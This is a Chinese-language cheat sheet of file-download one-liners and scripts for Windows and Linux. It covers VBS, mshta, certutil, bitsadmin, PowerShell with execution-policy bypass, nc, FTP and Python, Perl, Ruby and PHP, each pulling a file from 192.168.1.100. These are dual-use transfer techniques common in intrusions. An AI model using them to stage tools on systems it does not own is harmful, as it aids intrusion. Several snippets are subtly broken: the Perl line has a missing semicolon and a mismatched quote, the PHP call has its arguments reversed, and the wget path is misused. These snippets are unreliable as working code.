下载文件的几种方式

Linux 下载文件的方式很多, 一般系统自带的 curl wget 就能搞定, 甚至还可以直接在线 apt yum 安装, 也有很多环境例如 Python Ruby Perl

Windows 就那么几个, 除了 vbs 和 powershell 以外大都是依赖于 microsoft 官方自带的命令行工具.

vbs

经典的 iget.vbs, 需要一行一行 echo 写.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

执行方式

cscript //nologo iget.vbs http://192.168.1.100/test.txt C:\test.txt

也可以把 Wscript.Arguments 直接替换成 url.

telnet

前提是机器要支持 telnet

1
2
server: nc -lvp 2333 < test.txt
client: telnet example.com -f C:\test.txt

ftp

1.txt

1
2
3
4
5
6
7
open 192.168.1.100
username
password
bin
lcd c:/
get test.txt
bye

ftp -s:"C:\1.txt"

mshta

hta 执行, 其实还是依赖于 vbs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.1.100/test.txt",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\test.txt", 2);
    Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>

执行方式

mshta test.hta

certutil

windows 2003 下的应用程序.

执行方式

1
2
certutil -urlcache -split -f http://192.168.1.100/test.txt C:\test.txt
certutil -urlcache -split -f http://192.168.1.100/test.txt C:\test.txt delete

bitsadmin

和 certutil 一样, 但只适用于 windows 7 以上的系统.

1
bitsadmin /rawreturn /transfer getfile http://192.168.1.100/test.txt C:\test.txt

powershell

以下内容保存为 get.ps1

1
2
$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.1.100/test.txt', 'C:\test.txt')

执行方式

1
powershell -ExecutionPolicy Bypass -File .\get.ps1

powershell 3.0 提供了 Invoke-WebRequest 方法.

需要绝对路径.

1
Invoke-WebRequest -Uri http://192.168.1.100/test.txt -OutFile C:\test.txt

或者一句话执行.

1
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.100/test.txt','C:\test.txt')

wget

1
wget http://192.168.1.100/test.txt -P /root/test.txt

ftp

1.sh

1
2
3
4
5
ftp 192.168.1.100
username
password
get test.txt
exit

执行方式.

bash 1.sh

或者.

ftpget -u username -P password 192.168.1.100 test.txt

nc

1
2
cat test.txt | nc -l 1234
nc 192.168.1.100 1234 > test.txt

perl

1
2
3
#!/usr/bin/perl
use LWP::Simple
getstore("http://192.168.1.100/test.txt "/root/test.txt");

python

1
2
3
4
5
6
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://192.168.1.100/test.txt')
localFile = open('/root/test.txt', 'wb+')
localFile.write(u.read())
localFile.close()

ruby

1
2
3
4
5
6
7
8
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.1.100") { |http|
r = http.get("/test.txt")
open("/root/test.txt", "wb+") { |file|
file.write(r.body)
}
}

php

1
2
3
<?php
file_put_contents(file_get_contents('http://192.168.1.100/test.txt'), '/root/test.txt');
?>
0%